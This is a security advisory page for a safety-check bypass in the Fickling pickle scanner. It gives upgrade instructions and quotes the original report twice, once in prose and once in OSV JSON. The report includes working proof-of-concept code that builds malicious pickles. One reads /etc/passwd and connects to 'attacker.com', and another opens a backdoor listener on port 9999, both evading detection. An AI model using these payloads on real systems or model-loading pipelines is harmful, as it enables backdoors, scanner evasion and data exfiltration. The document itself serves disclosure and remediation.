GHSA-mhc9-48gj-9gp3: Fickling Fickling Has Safety Check Bypass Vulnerability

MODERATE
CWE-184
Published
Advisory Summary

GHSA-mhc9-48gj-9gp3 is a MODERATE fickling has safety check bypass vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Fickling libraries in the PyPI ecosystem. The issue involves fickling has safety check bypass via reduce+build opcode sequence. Remediation is available by upgrading affected packages to version 0.1.8.

GHSA-mhc9-48gj-9gp3 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-mhc9-48gj-9gp3
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Fickling
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-mhc9-48gj-9gp3

To remediate this vulnerability, upgrade all affected Fickling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fickling fixed: 0.1.8
pip install fickling>=0.1.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fickling

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-mhc9-48gj-9gp3, inspect your installed packages using pip:

pip show fickling

Analyze the terminal output to locate any version of Fickling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.8), your application is affected.

Note: The pip show fickling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Fickling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Assessment It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400). # Original report ### Summary All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection. ## Details The bypass exploits three weaknesses in fickling's static analysis pipeline: 1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc. 2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged. 3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism). ### Affected versions All versions through 0.1.7 (latest as of 2026-02-18). ### Affected APIs - `fickling.is_likely_safe()` - returns `True` for bypass payloads - `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` - `fickling --check-safety` CLI - exits with code 0 - `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes - `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes ## PoC A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`: ```python import io, struct, tempfile, os def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_exfiltration_pickle(): """ Single pickle that: 1. Reads /etc/passwd via fileinput.input() 2. Opens TCP connection to attacker via smtplib.SMTP() Both operations pass as LIKELY_SAFE. """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # --- Operation 1: Read /etc/passwd --- payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b"0") # POP (discard result) # --- Operation 2: Connect to attacker --- payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() # Generate and test data = make_exfiltration_pickle() with open("/tmp/exfil.pkl", "wb") as f: f.write(data) import fickling print(fickling.is_likely_safe("/tmp/exfil.pkl")) # Output: True <-- BYPASSED (file read + network connection in one pickle) ``` fickling decompiles this to: ```python from fileinput import input _var0 = input('/etc/passwd') # reads /etc/passwd _var1 = _var0 _var1.__setstate__({'_x': 'y'}) from smtplib import SMTP _var2 = SMTP('attacker.com') # opens TCP connection to attacker _var3 = _var2 _var3.__setstate__({'_x': 'y'}) result = _var3 ``` Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded). **CLI verification:** ```bash $ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED - file read + network access passes as safe ``` **`always_check_safety()` verification:** ```python import fickling, pickle fickling.always_check_safety() # This should raise UnsafeFileError for malicious pickles, but doesn't: with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` **`check_safety()` context manager verification:** ```python import fickling, pickle with fickling.check_safety(): with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` ### Backdoor listener PoC (most impactful) A pickle that opens a TCP listener on port 9999, binding to all interfaces: ```python import io, struct def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_backdoor_listener(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # socketserver.TCPServer via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types payload.write(b"(") # MARK payload.write(sbu("0.0.0.0")) # host string payload.write(b"J" + struct.pack("<i", 9999)) # BININT port payload.write(b"t") # TUPLE # Handler class via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") payload.write(b"\x86") # TUPLE2 -> (address, handler) payload.write(b"R") # REDUCE -> TCPServer(address, handler) payload.write(b"N") # NONE payload.write(b"b") # BUILD(None) -> no-op payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling, pickle, socket data = make_backdoor_listener() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data) print(fickling.is_likely_safe("/tmp/backdoor.pkl")) # Output: True <-- BYPASSED server = pickle.loads(data) # Port 9999 is now LISTENING on all interfaces s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ``` The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns. ## Impact An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include: - **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns. - **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt. - **Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname. - **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor. - **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended. This affects any application using fickling as a safety gate for ML model files. ## Suggested Fix Restrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules. ## Relationship to GHSA-83pf-v6qq-pwmr GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.

GHSA-mhc9-48gj-9gp3 Affected Fickling Versions

1 component(s)
Fixed Versions:
0.1.8
Product / Package Ecosystem Affected Versions Fixed Version
fickling
PyPI
< 0.1.8
0.1.8

References

Frequently Asked Questions

What is GHSA-mhc9-48gj-9gp3?
GHSA-mhc9-48gj-9gp3 is a security vulnerability in Fickling involving Fickling has safety check bypass via REDUCE+BUILD opcode sequence under CWE-184: Incomplete List of Disallowed Inputs.
Which Fickling versions are affected?
Affected versions include releases prior to 0.1.8 across affected packages: fickling.
What version fixes GHSA-mhc9-48gj-9gp3?
Upgrading to 0.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fickling affected?
Yes, fickling is affected in releases prior to 0.1.8. Upgrade your dependency to 0.1.8 or later.
What CWE is associated with GHSA-mhc9-48gj-9gp3?
GHSA-mhc9-48gj-9gp3 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for GHSA-mhc9-48gj-9gp3?
Run the dependency tree command: 'pip show fickling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mhc9-48gj-9gp3",
  "modified" : "2026-02-25T15:24:18Z",
  "published" : "2026-02-25T15:24:18Z",
  "aliases" : [ ],
  "summary" : "Fickling has safety check bypass via REDUCE+BUILD opcode sequence",
  "details" : "# Assessment\n\nIt is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).\n\n# Original report\n\n### Summary\nAll 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.\n\n## Details\n\nThe bypass exploits three weaknesses in fickling's static analysis pipeline:\n\n1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `\"SMTP\"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.\n\n2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.\n\n3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-18).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n\n\n## PoC\n\nA single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct, tempfile, os\n\ndef sbu(s):\n    \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\ndef make_exfiltration_pickle():\n    \"\"\"\n    Single pickle that:\n      1. Reads /etc/passwd via fileinput.input()\n      2. Opens TCP connection to attacker via smtplib.SMTP()\n    Both operations pass as LIKELY_SAFE.\n    \"\"\"\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n    payload = io.BytesIO()\n\n    # --- Operation 1: Read /etc/passwd ---\n    payload.write(sbu(\"fileinput\") + sbu(\"input\") + b\"\\x93\")  # STACK_GLOBAL\n    payload.write(sbu(\"/etc/passwd\") + b\"\\x85\")                # arg + TUPLE1\n    payload.write(b\"R\")                                         # REDUCE\n    payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\")  # BUILD\n    payload.write(b\"0\")                                         # POP (discard result)\n\n    # --- Operation 2: Connect to attacker ---\n    payload.write(sbu(\"smtplib\") + sbu(\"SMTP\") + b\"\\x93\")     # STACK_GLOBAL\n    payload.write(sbu(\"attacker.com\") + b\"\\x85\")               # arg + TUPLE1\n    payload.write(b\"R\")                                         # REDUCE\n    payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\")  # BUILD\n    payload.write(b\".\")                                         # STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"<Q\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\n# Generate and test\ndata = make_exfiltration_pickle()\nwith open(\"/tmp/exfil.pkl\", \"wb\") as f:\n    f.write(data)\n\nimport fickling\nprint(fickling.is_likely_safe(\"/tmp/exfil.pkl\"))\n# Output: True  <-- BYPASSED (file read + network connection in one pickle)\n```\n\nfickling decompiles this to:\n```python\nfrom fileinput import input\n_var0 = input('/etc/passwd')       # reads /etc/passwd\n_var1 = _var0\n_var1.__setstate__({'_x': 'y'})\nfrom smtplib import SMTP\n_var2 = SMTP('attacker.com')       # opens TCP connection to attacker\n_var3 = _var2\n_var3.__setstate__({'_x': 'y'})\nresult = _var3\n```\n\nYet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).\n\n**CLI verification:**\n```bash\n$ fickling --check-safety /tmp/exfil.pkl; echo \"EXIT: $?\"\nEXIT: 0    # BYPASSED - file read + network access passes as safe\n```\n\n**`always_check_safety()` verification:**\n```python\nimport fickling, pickle\n\nfickling.always_check_safety()\n\n# This should raise UnsafeFileError for malicious pickles, but doesn't:\nwith open(\"/tmp/exfil.pkl\", \"rb\") as f:\n    result = pickle.load(f)\n# No exception raised — malicious code executed successfully\n```\n\n**`check_safety()` context manager verification:**\n```python\nimport fickling, pickle\n\nwith fickling.check_safety():\n    with open(\"/tmp/exfil.pkl\", \"rb\") as f:\n        result = pickle.load(f)\n# No exception raised — malicious code executed successfully\n```\n\n### Backdoor listener PoC (most impactful)\n\nA pickle that opens a TCP listener on port 9999, binding to all interfaces:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\ndef make_backdoor_listener():\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n    payload = io.BytesIO()\n\n    # socketserver.TCPServer via STACK_GLOBAL\n    payload.write(sbu(\"socketserver\") + sbu(\"TCPServer\") + b\"\\x93\")\n\n    # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types\n    payload.write(b\"(\")                                    # MARK\n    payload.write(sbu(\"0.0.0.0\"))                          # host string\n    payload.write(b\"J\" + struct.pack(\"<i\", 9999))          # BININT port\n    payload.write(b\"t\")                                    # TUPLE\n\n    # Handler class via STACK_GLOBAL\n    payload.write(sbu(\"socketserver\") + sbu(\"BaseRequestHandler\") + b\"\\x93\")\n\n    payload.write(b\"\\x86\")  # TUPLE2 -> (address, handler)\n    payload.write(b\"R\")     # REDUCE -> TCPServer(address, handler)\n    payload.write(b\"N\")     # NONE\n    payload.write(b\"b\")     # BUILD(None) -> no-op\n    payload.write(b\".\")     # STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"<Q\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling, pickle, socket\ndata = make_backdoor_listener()\nwith open(\"/tmp/backdoor.pkl\", \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(\"/tmp/backdoor.pkl\"))\n# Output: True  <-- BYPASSED\n\nserver = pickle.loads(data)\n# Port 9999 is now LISTENING on all interfaces\n\ns = socket.socket()\ns.connect((\"127.0.0.1\", 9999))\nprint(\"Connected to backdoor port!\")  # succeeds\ns.close()\nserver.server_close()\n```\n\nThe TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.\n\n## Impact\n\nAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:\n\n- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.\n- **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.\n- **Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.\n- **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor.\n- **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread\n\nA single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.\n\nThis affects any application using fickling as a safety gate for ML model files.\n\n## Suggested Fix\n\nRestrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules.\n\n## Relationship to GHSA-83pf-v6qq-pwmr\n\nGHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fickling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-mhc9-48gj-9gp3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-83pf-v6qq-pwmr"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/trailofbits/fickling"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T15:24:18Z",
    "nvd_published_at" : null
  }
}